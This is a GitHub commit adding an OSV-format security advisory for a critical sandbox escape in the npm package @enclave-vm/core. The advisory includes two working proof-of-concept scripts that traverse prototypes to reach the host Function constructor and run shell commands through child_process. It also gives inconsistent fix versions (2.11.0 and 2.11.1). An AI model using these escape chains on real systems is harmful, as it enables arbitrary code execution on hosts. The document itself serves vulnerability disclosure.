Skip to content

Commit d7179d3

Browse files
1 parent 0a5c4ac commit d7179d3

1 file changed

Lines changed: 64 additions & 0 deletions

File tree

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-f229-3862-4942",
4+
"modified": "2026-02-25T17:26:23Z",
5+
"published": "2026-02-25T17:26:23Z",
6+
"aliases": [
7+
"CVE-2026-27597"
8+
],
9+
"summary": "@enclave-vm/core is vulnerable to Sandbox Escape",
10+
"details": "## Summary\n\nIt is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).\n\nThe issue has been fixed in version **2.11.1**.\n\n---\n\n## Details\n\nIt is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.\n\nWhen a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.\n\nWhen this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).\n\n---\n\n## Proof of Concept\n\n### PoC 1\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n securityLevel: \"SECURE\",\n toolHandler: () => {},\n});\n\nconst result = enclave.run(`\nconst op = {}[[\"__proto__\"]];\nconst ho = op[[\"constructor\"]];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nreturn {\n res: glob.__host_memory_track__.value[[\"constructor\"]](\"return process\")()\n .getBuiltinModule(\"child_process\")\n .execSync(\"id\")\n .toString()\n .split(\"\\\\n\"),\n};`);\n\nresult\n .then((v) => console.log(\"success\", v))\n .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n### PoC 2\n\n```js\nconst { Enclave } = require(\"@enclave-vm/core\");\n\nconst enclave = new Enclave({\n securityLevel: \"STRICT\",\n toolHandler: () => {},\n memoryLimit: 0,\n});\n\nconst result = enclave.run(`\nconst op = {}[['__proto__']];\nconst ho = op[['constructor']];\n\nconst glob = ho.getOwnPropertyDescriptors(this);\n\nconst sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');\n\nlet result;\nconst obj = {\n [sym]: (depth, option, inspect) => {\n result = inspect[['constructor']]\n [['constructor']]('return process')()\n .getBuiltinModule('child_process')\n .execSync('id')\n .toString();\n },\n};\n\nglob.__safe_console.value.log(obj);\nreturn { result }\n`);\n\nresult\n .then((v) => console.log(\"success\", v))\n .catch((e) => console.log(\"failure\", e));\n```\n\n---\n\n## Impact\n\nThis vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.\n\nThis constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.\n\n---\n\n## Remediation\n\nThe issue has been fixed in **v2.11.0** with the following hardening measures:\n\n* Strengthened intrinsic object isolation\n* Improved console isolation\n* Hardened host callback exposure paths\n* Closed AST validation gaps\n* Added additional defensive checks around constructor access and prototype traversal\n\nAll known escape paths demonstrated in the PoCs are now blocked.\n\nUsers are strongly advised to upgrade to **v2.11.1** or later immediately.\n\n---\n\n## Credit\n\nEnclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@enclave-vm/core"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.11.1"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 2.10.1"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/agentfront/enclave/security/advisories/GHSA-f229-3862-4942"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27597"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/agentfront/enclave"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-94"
58+
],
59+
"severity": "CRITICAL",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-02-25T17:26:23Z",
62+
"nvd_published_at": "2026-02-25T04:16:03Z"
63+
}
64+
}

0 commit comments

Comments
 (0)